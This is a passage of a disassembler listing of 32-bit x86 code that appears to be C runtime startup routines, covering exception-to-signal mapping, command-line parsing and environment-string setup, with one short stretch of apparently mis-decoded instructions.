loc_42BE62: ; CODE XREF: sub_42BE50+35j
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
test edx, edx
jz short loc_42BE87
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_42BE87
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_42BE62
; ---------------------------------------------------------------------------
loc_42BE87: ; CODE XREF: sub_42BE50+20j
; sub_42BE50+2Aj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_42BE99
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
jmp short loc_42BE9C
; ---------------------------------------------------------------------------
loc_42BE99: ; CODE XREF: sub_42BE50+3Fj
mov eax, [ebp+arg_4]
loc_42BE9C: ; CODE XREF: sub_42BE50+47j
mov esp, ebp
pop ebp
retn
sub_42BE50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BEA0 proc near ; CODE XREF: seg000:00420C74p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
call sub_425C30
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
mov ecx, [eax+50h]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42C060
add esp, 8
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_42BED3
mov eax, [ebp+var_10]
cmp dword ptr [eax+8], 0
jnz short loc_42BEE2
loc_42BED3: ; CODE XREF: sub_42BEA0+28j
mov ecx, [ebp+arg_4]
push ecx
call ds:dword_4F12EC ; UnhandledExceptionFilter
jmp loc_42C05A
; ---------------------------------------------------------------------------
loc_42BEE2: ; CODE XREF: sub_42BEA0+31j
mov edx, [ebp+var_10]
cmp dword ptr [edx+8], 5
jnz short loc_42BEFF
mov eax, [ebp+var_10]
mov dword ptr [eax+8], 0
mov eax, 1
jmp loc_42C05A
; ---------------------------------------------------------------------------
loc_42BEFF: ; CODE XREF: sub_42BEA0+49j
mov ecx, [ebp+var_10]
cmp dword ptr [ecx+8], 1
jnz short loc_42BF10
or eax, 0FFFFFFFFh
jmp loc_42C05A
; ---------------------------------------------------------------------------
loc_42BF10: ; CODE XREF: sub_42BEA0+66j
mov edx, [ebp+var_10]
mov eax, [edx+8]
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+54h]
mov [ebp+var_18], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_4]
mov [eax+54h], ecx
mov edx, [ebp+var_10]
cmp dword ptr [edx+4], 8
jnz loc_42C037
mov eax, ds:dword_4505F0
mov [ebp+var_14], eax
jmp short loc_42BF4B
; ---------------------------------------------------------------------------
loc_42BF42: ; CODE XREF: sub_42BEA0+D0j
mov ecx, [ebp+var_14]
add ecx, 1
mov [ebp+var_14], ecx
loc_42BF4B: ; CODE XREF: sub_42BEA0+A0j
mov edx, ds:dword_4505F0
add edx, ds:dword_4505F4
cmp [ebp+var_14], edx
jge short loc_42BF72
mov eax, [ebp+var_14]
imul eax, 0Ch
mov ecx, [ebp+var_8]
mov edx, [ecx+50h]
mov dword ptr [edx+eax+8], 0
jmp short loc_42BF42
; ---------------------------------------------------------------------------
loc_42BF72: ; CODE XREF: sub_42BEA0+BAj
mov eax, [ebp+var_8]
mov ecx, [eax+58h]
mov [ebp+var_C], ecx
mov edx, [ebp+var_10]
cmp dword ptr [edx], 0C000008Eh
jnz short loc_42BF95
mov eax, [ebp+var_8]
mov dword ptr [eax+58h], 83h
jmp loc_42C01D
; ---------------------------------------------------------------------------
loc_42BF95: ; CODE XREF: sub_42BEA0+E4j
mov ecx, [ebp+var_10]
cmp dword ptr [ecx], 0C0000090h
jnz short loc_42BFAC
mov edx, [ebp+var_8]
mov dword ptr [edx+58h], 81h
jmp short loc_42C01D
; ---------------------------------------------------------------------------
loc_42BFAC: ; CODE XREF: sub_42BEA0+FEj
mov eax, [ebp+var_10]
cmp dword ptr [eax], 0C0000091h
jnz short loc_42BFC3
mov ecx, [ebp+var_8]
mov dword ptr [ecx+58h], 84h
jmp short loc_42C01D
; ---------------------------------------------------------------------------
loc_42BFC3: ; CODE XREF: sub_42BEA0+115j
mov edx, [ebp+var_10]
cmp dword ptr [edx], 0C0000093h
jnz short loc_42BFDA
mov eax, [ebp+var_8]
mov dword ptr [eax+58h], 85h
jmp short loc_42C01D
; ---------------------------------------------------------------------------
loc_42BFDA: ; CODE XREF: sub_42BEA0+12Cj
mov ecx, [ebp+var_10]
cmp dword ptr [ecx], 0C000008Dh
jnz short loc_42BFF1
mov edx, [ebp+var_8]
mov dword ptr [edx+58h], 82h
jmp short loc_42C01D
; ---------------------------------------------------------------------------
loc_42BFF1: ; CODE XREF: sub_42BEA0+143j
mov eax, [ebp+var_10]
cmp dword ptr [eax], 0C000008Fh
jnz short loc_42C008
mov ecx, [ebp+var_8]
mov dword ptr [ecx+58h], 86h
jmp short loc_42C01D
; ---------------------------------------------------------------------------
loc_42C008: ; CODE XREF: sub_42BEA0+15Aj
mov edx, [ebp+var_10]
cmp dword ptr [edx], 0C0000092h
jnz short loc_42C01D
mov eax, [ebp+var_8]
mov dword ptr [eax+58h], 8Ah
loc_42C01D: ; CODE XREF: sub_42BEA0+F0j
; sub_42BEA0+10Aj ...
mov ecx, [ebp+var_8]
mov edx, [ecx+58h]
push edx
push 8
call [ebp+var_4]
add esp, 8
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov [eax+58h], ecx
jmp short loc_42C04E
; ---------------------------------------------------------------------------
loc_42C037: ; CODE XREF: sub_42BEA0+92j
mov edx, [ebp+var_10]
mov dword ptr [edx+8], 0
mov eax, [ebp+var_10]
mov ecx, [eax+4]
push ecx
call [ebp+var_4]
add esp, 4
loc_42C04E: ; CODE XREF: sub_42BEA0+195j
mov edx, [ebp+var_8]
mov eax, [ebp+var_18]
mov [edx+54h], eax
or eax, 0FFFFFFFFh
loc_42C05A: ; CODE XREF: sub_42BEA0+3Dj
; sub_42BEA0+5Aj ...
mov esp, ebp
pop ebp
retn
sub_42BEA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C060 proc near ; CODE XREF: sub_42BEA0+19p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_42C06A: ; CODE XREF: sub_42C060+30j
mov ecx, [ebp+var_4]
mov edx, [ecx]
cmp edx, [ebp+arg_0]
jz short loc_42C092
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ecx, ds:dword_4505FC
imul ecx, 0Ch
mov edx, [ebp+arg_4]
add edx, ecx
cmp [ebp+var_4], edx
jnb short loc_42C092
jmp short loc_42C06A
; ---------------------------------------------------------------------------
loc_42C092: ; CODE XREF: sub_42C060+12j
; sub_42C060+2Ej
mov eax, ds:dword_4505FC
imul eax, 0Ch
mov ecx, [ebp+arg_4]
add ecx, eax
cmp [ebp+var_4], ecx
jnb short loc_42C0AE
mov edx, [ebp+var_4]
mov eax, [edx]
cmp eax, [ebp+arg_0]
jz short loc_42C0B2
loc_42C0AE: ; CODE XREF: sub_42C060+42j
xor eax, eax
jmp short loc_42C0B5
; ---------------------------------------------------------------------------
loc_42C0B2: ; CODE XREF: sub_42C060+4Cj
mov eax, [ebp+var_4]
loc_42C0B5: ; CODE XREF: sub_42C060+50j
mov esp, ebp
pop ebp
retn
sub_42C060 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C0C0 proc near ; CODE XREF: seg000:00420C18p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4F0088, 0
jnz short loc_42C0D2
call sub_4265E0
loc_42C0D2: ; CODE XREF: sub_42C0C0+Bj
mov eax, ds:dword_4EF068
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 22h
jnz short loc_42C13C
loc_42C0E6: ; CODE XREF: sub_42C0C0:loc_42C123j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 22h
jz short loc_42C125
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_42C125
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
push eax
call sub_432B80
add esp, 4
test eax, eax
jz short loc_42C123
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42C123: ; CODE XREF: sub_42C0C0+58j
jmp short loc_42C0E6
; ---------------------------------------------------------------------------
loc_42C125: ; CODE XREF: sub_42C0C0+39j
; sub_42C0C0+44j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
cmp eax, 22h
jnz short loc_42C13A
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42C13A: ; CODE XREF: sub_42C0C0+6Fj
jmp short loc_42C153
; ---------------------------------------------------------------------------
loc_42C13C: ; CODE XREF: sub_42C0C0+24j
; sub_42C0C0+91j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
cmp eax, 20h
jle short loc_42C153
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42C13C
; ---------------------------------------------------------------------------
loc_42C153: ; CODE XREF: sub_42C0C0:loc_42C13Aj
; sub_42C0C0+86j ...
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_42C175
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 20h
jg short loc_42C175
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_42C153
; ---------------------------------------------------------------------------
loc_42C175: ; CODE XREF: sub_42C0C0+9Cj
; sub_42C0C0+A8j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42C0C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C180 proc near ; CODE XREF: seg000:00420BFDp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
cmp ds:dword_4F0088, 0
jnz short loc_42C194
call sub_4265E0
loc_42C194: ; CODE XREF: sub_42C180+Dj
mov [ebp+var_8], 0
mov eax, ds:dword_4EE9D4
mov [ebp+var_4], eax
loc_42C1A3: ; CODE XREF: sub_42C180+57j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_42C1D9
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 3Dh
jz short loc_42C1C1
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
loc_42C1C1: ; CODE XREF: sub_42C180+36j
mov eax, [ebp+var_4]
push eax
call sub_41AC70
add esp, 4
mov ecx, [ebp+var_4]
lea edx, [ecx+eax+1]
mov [ebp+var_4], edx
jmp short loc_42C1A3
; ---------------------------------------------------------------------------
loc_42C1D9: ; CODE XREF: sub_42C180+2Bj
push 6Dh
push offset dword_43A2C8
push 2
mov eax, [ebp+var_8]
lea ecx, ds:4[eax*4]
push ecx
call sub_41AE60
add esp, 10h
mov [ebp+var_C], eax
mov edx, [ebp+var_C]
mov ds:dword_4EE988, edx
cmp ds:dword_4EE988, 0
jnz short loc_42C214
push 9
call sub_420CA0
add esp, 4
loc_42C214: ; CODE XREF: sub_42C180+88j
mov eax, ds:dword_4EE9D4
mov [ebp+var_4], eax
jmp short loc_42C227
; ---------------------------------------------------------------------------
loc_42C21E: ; CODE XREF: sub_42C180:loc_42C295j
mov ecx, [ebp+var_4]
add ecx, [ebp+var_10]
mov [ebp+var_4], ecx
loc_42C227: ; CODE XREF: sub_42C180+9Cj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42C297
mov ecx, [ebp+var_4]
push ecx
call sub_41AC70
add esp, 4
add eax, 1
mov [ebp+var_10], eax
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 3Dh
jz short loc_42C295
push 79h
push offset dword_43A2C8
push 2
mov ecx, [ebp+var_10]
push ecx
call sub_41AE60
add esp, 10h
mov edx, [ebp+var_C]
mov [edx], eax
mov eax, [ebp+var_C]
cmp dword ptr [eax], 0
jnz short loc_42C27A
push 9
call sub_420CA0
add esp, 4
loc_42C27A: ; CODE XREF: sub_42C180+EEj
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_C]
mov eax, [edx]
push eax
call sub_41E550
add esp, 8
mov ecx, [ebp+var_C]
add ecx, 4
mov [ebp+var_C], ecx
loc_42C295: ; CODE XREF: sub_42C180+CCj
jmp short loc_42C21E
; ---------------------------------------------------------------------------
loc_42C297: ; CODE XREF: sub_42C180+AFj
push 2
mov edx, ds:dword_4EE9D4
push edx
call sub_41B8F0
add esp, 8
mov ds:dword_4EE9D4, 0
mov eax, [ebp+var_C]
mov dword ptr [eax], 0
mov ds:dword_4F0084, 1
mov esp, ebp
pop ebp
retn
sub_42C180 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C2D0 proc near ; CODE XREF: seg000:00420BF8p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
cmp ds:dword_4F0088, 0
jnz short loc_42C2E4
call sub_4265E0
loc_42C2E4: ; CODE XREF: sub_42C2D0+Dj
push 104h
push offset dword_4EEA8C
push 0
call near ptr 3D0000h
xor al, bh
add eax, offset dword_4EE998
mov edx, gs
dec esi
add byte ptr ds:dword_4EF068[ecx], ah
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_42C317
mov edx, ds:dword_4EE998
mov [ebp+var_14], edx
jmp short loc_42C31F
; ---------------------------------------------------------------------------
loc_42C317: ; CODE XREF: sub_42C2D0+3Aj
mov eax, ds:dword_4EF068
mov [ebp+var_14], eax
loc_42C31F: ; CODE XREF: sub_42C2D0+45j
mov ecx, [ebp+var_14]
mov [ebp+var_10], ecx
lea edx, [ebp+var_4]
push edx
lea eax, [ebp+var_C]
push eax
push 0
push 0
mov ecx, [ebp+var_10]
push ecx
call sub_42C3B0
add esp, 14h
push 80h
push offset dword_43A2D4
push 2
mov edx, [ebp+var_C]
mov eax, [ebp+var_4]
lea ecx, [eax+edx*4]
push ecx
call sub_41AE60
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_42C36E
push 8
call sub_420CA0
add esp, 4
loc_42C36E: ; CODE XREF: sub_42C2D0+92j
lea edx, [ebp+var_4]
push edx
lea eax, [ebp+var_C]
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_8]
lea eax, [edx+ecx*4]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_10]
push edx
call sub_42C3B0
add esp, 14h
mov eax, [ebp+var_C]
sub eax, 1
mov ds:dword_4EE97C, eax
mov ecx, [ebp+var_8]
mov ds:dword_4EE980, ecx
mov esp, ebp
pop ebp
retn
sub_42C2D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C3B0 proc near ; CODE XREF: sub_42C2D0+65p
; sub_42C2D0+B8p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_10]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_C]
mov dword ptr [ecx], 1
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
cmp [ebp+arg_4], 0
jz short loc_42C3E5
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov [eax], ecx
mov edx, [ebp+arg_4]
add edx, 4
mov [ebp+arg_4], edx
loc_42C3E5: ; CODE XREF: sub_42C3B0+22j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz loc_42C4BD
loc_42C3F4: ; CODE XREF: sub_42C3B0:loc_42C47Dj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jz short loc_42C482
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42C482
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
xor eax, eax
mov al, ds:byte_4EEF41[edx]
and eax, 4
test eax, eax
jz short loc_42C457
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
cmp [ebp+arg_8], 0
jz short loc_42C457
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42C457: ; CODE XREF: sub_42C3B0+76j
; sub_42C3B0+89j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_42C47D
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_42C47D: ; CODE XREF: sub_42C3B0+B8j
jmp loc_42C3F4
; ---------------------------------------------------------------------------
loc_42C482: ; CODE XREF: sub_42C3B0+56j
; sub_42C3B0+60j
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
cmp [ebp+arg_8], 0
jz short loc_42C4A4
mov ecx, [ebp+arg_8]
mov byte ptr [ecx], 0
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
loc_42C4A4: ; CODE XREF: sub_42C3B0+E3j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz short loc_42C4B8
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42C4B8: ; CODE XREF: sub_42C3B0+FDj
jmp loc_42C58C
; ---------------------------------------------------------------------------
loc_42C4BD: ; CODE XREF: sub_42C3B0+3Ej
; sub_42C3B0+1B1j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_42C4E3
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_42C4E3: ; CODE XREF: sub_42C3B0+11Ej
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_C]
and ecx, 0FFh
xor edx, edx
mov dl, ds:byte_4EEF41[ecx]
and edx, 4
test edx, edx
jz short loc_42C53B
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_42C532
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_42C532: ; CODE XREF: sub_42C3B0+16Dj
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42C53B: ; CODE XREF: sub_42C3B0+15Aj
mov edx, [ebp+var_C]
and edx, 0FFh
cmp edx, 20h
jz short loc_42C567
mov eax, [ebp+var_C]
and eax, 0FFh
test eax, eax
jz short loc_42C567
mov ecx, [ebp+var_C]
and ecx, 0FFh
cmp ecx, 9
jnz loc_42C4BD
loc_42C567: ; CODE XREF: sub_42C3B0+197j
; sub_42C3B0+1A3j
mov edx, [ebp+var_C]
and edx, 0FFh
test edx, edx
jnz short loc_42C57F
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
jmp short loc_42C58C
; ---------------------------------------------------------------------------
loc_42C57F: ; CODE XREF: sub_42C3B0+1C2j
cmp [ebp+arg_8], 0
jz short loc_42C58C
mov ecx, [ebp+arg_8]
mov byte ptr [ecx-1], 0
loc_42C58C: ; CODE XREF: sub_42C3B0:loc_42C4B8j
; sub_42C3B0+1CDj ...
mov [ebp+var_14], 0
loc_42C593: ; CODE XREF: sub_42C3B0+3F6j
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42C5BE
loc_42C59D: ; CODE XREF: sub_42C3B0+20Cj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_42C5B3
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jnz short loc_42C5BE
loc_42C5B3: ; CODE XREF: sub_42C3B0+1F6j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_42C59D
; ---------------------------------------------------------------------------
loc_42C5BE: ; CODE XREF: sub_42C3B0+1EBj
; sub_42C3B0+201j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_42C5CD
jmp loc_42C7AB
; ---------------------------------------------------------------------------
loc_42C5CD: ; CODE XREF: sub_42C3B0+216j
cmp [ebp+arg_4], 0
jz short loc_42C5E4
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_8]
mov [edx], eax
mov ecx, [ebp+arg_4]
add ecx, 4
mov [ebp+arg_4], ecx
loc_42C5E4: ; CODE XREF: sub_42C3B0+221j
mov edx, [ebp+arg_C]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
loc_42C5F1: ; CODE XREF: sub_42C3B0+3CFj
mov [ebp+var_8], 1
mov [ebp+var_10], 0
loc_42C5FF: ; CODE XREF: sub_42C3B0+26Cj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 5Ch
jnz short loc_42C61E
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
jmp short loc_42C5FF
; ---------------------------------------------------------------------------
loc_42C61E: ; CODE XREF: sub_42C3B0+258j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz short loc_42C67A
mov eax, [ebp+var_10]
xor edx, edx
mov ecx, 2
div ecx
test edx, edx
jnz short loc_42C672
cmp [ebp+var_14], 0
jz short loc_42C65F
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx+1]
cmp eax, 22h
jnz short loc_42C656
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42C65D
; ---------------------------------------------------------------------------
loc_42C656: ; CODE XREF: sub_42C3B0+299j
mov [ebp+var_8], 0
loc_42C65D: ; CODE XREF: sub_42C3B0+2A4j
jmp short loc_42C666
; ---------------------------------------------------------------------------
loc_42C65F: ; CODE XREF: sub_42C3B0+28Dj
mov [ebp+var_8], 0
loc_42C666: ; CODE XREF: sub_42C3B0:loc_42C65Dj
xor edx, edx
cmp [ebp+var_14], 0
setz dl
mov [ebp+var_14], edx
loc_42C672: ; CODE XREF: sub_42C3B0+287j
mov eax, [ebp+var_10]
shr eax, 1
mov [ebp+var_10], eax
loc_42C67A: ; CODE XREF: sub_42C3B0+277j
; sub_42C3B0+2FCj
mov ecx, [ebp+var_10]
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
test ecx, ecx
jz short loc_42C6AE
cmp [ebp+arg_8], 0
jz short loc_42C69F
mov eax, [ebp+arg_8]
mov byte ptr [eax], 5Ch
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
loc_42C69F: ; CODE XREF: sub_42C3B0+2DEj
mov edx, [ebp+arg_10]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_10]
mov [ecx], eax
jmp short loc_42C67A
; ---------------------------------------------------------------------------
loc_42C6AE: ; CODE XREF: sub_42C3B0+2D8j
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42C6D4
cmp [ebp+var_14], 0
jnz short loc_42C6D9
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_42C6D4
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jnz short loc_42C6D9
loc_42C6D4: ; CODE XREF: sub_42C3B0+306j
; sub_42C3B0+317j
jmp loc_42C784
; ---------------------------------------------------------------------------
loc_42C6D9: ; CODE XREF: sub_42C3B0+30Cj
; sub_42C3B0+322j
cmp [ebp+var_8], 0
jz loc_42C776
cmp [ebp+arg_8], 0
jz short loc_42C73D
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, ds:byte_4EEF41[eax]
and ecx, 4
test ecx, ecx
jz short loc_42C728
mov edx, [ebp+arg_8]
mov eax, [ebp+var_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
loc_42C728: ; CODE XREF: sub_42C3B0+34Dj
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
jmp short loc_42C769
; ---------------------------------------------------------------------------
loc_42C73D: ; CODE XREF: sub_42C3B0+337j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, ds:byte_4EEF41[eax]
and ecx, 4
test ecx, ecx
jz short loc_42C769
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
loc_42C769: ; CODE XREF: sub_42C3B0+38Bj
; sub_42C3B0+3A1j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
loc_42C776: ; CODE XREF: sub_42C3B0+32Dj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp loc_42C5F1
; ---------------------------------------------------------------------------
loc_42C784: ; CODE XREF: sub_42C3B0:loc_42C6D4j
cmp [ebp+arg_8], 0
jz short loc_42C799
mov ecx, [ebp+arg_8]
mov byte ptr [ecx], 0
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
loc_42C799: ; CODE XREF: sub_42C3B0+3D8j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
jmp loc_42C593
; ---------------------------------------------------------------------------
loc_42C7AB: ; CODE XREF: sub_42C3B0+218j
cmp [ebp+arg_4], 0
jz short loc_42C7C3
mov eax, [ebp+arg_4]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_4]
add ecx, 4
mov [ebp+arg_4], ecx
loc_42C7C3: ; CODE XREF: sub_42C3B0+3FFj
mov edx, [ebp+arg_C]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
mov esp, ebp
pop ebp
retn
sub_42C3B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C7E0 proc near ; CODE XREF: seg000:00420BEEp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_14], 0
mov [ebp+var_18], 0
cmp ds:dword_4EEB90, 0
jnz short loc_42C83A
call ds:dword_4F12DC ; GetEnvironmentStringsW
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jz short loc_42C818
mov ds:dword_4EEB90, 1
jmp short loc_42C83A
; ---------------------------------------------------------------------------
loc_42C818: ; CODE XREF: sub_42C7E0+2Aj
call ds:dword_4F12E0 ; GetEnvironmentStringsA
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_42C833
mov ds:dword_4EEB90, 2
jmp short loc_42C83A
; ---------------------------------------------------------------------------
loc_42C833: ; CODE XREF: sub_42C7E0+45j
xor eax, eax
jmp loc_42C9F5
; ---------------------------------------------------------------------------
loc_42C83A: ; CODE XREF: sub_42C7E0+1Bj
; sub_42C7E0+36j ...
cmp ds:dword_4EEB90, 1
jnz loc_42C93E
cmp [ebp+var_14], 0
jnz short loc_42C863
call ds:dword_4F12DC ; GetEnvironmentStringsW
mov [ebp+var_14], eax
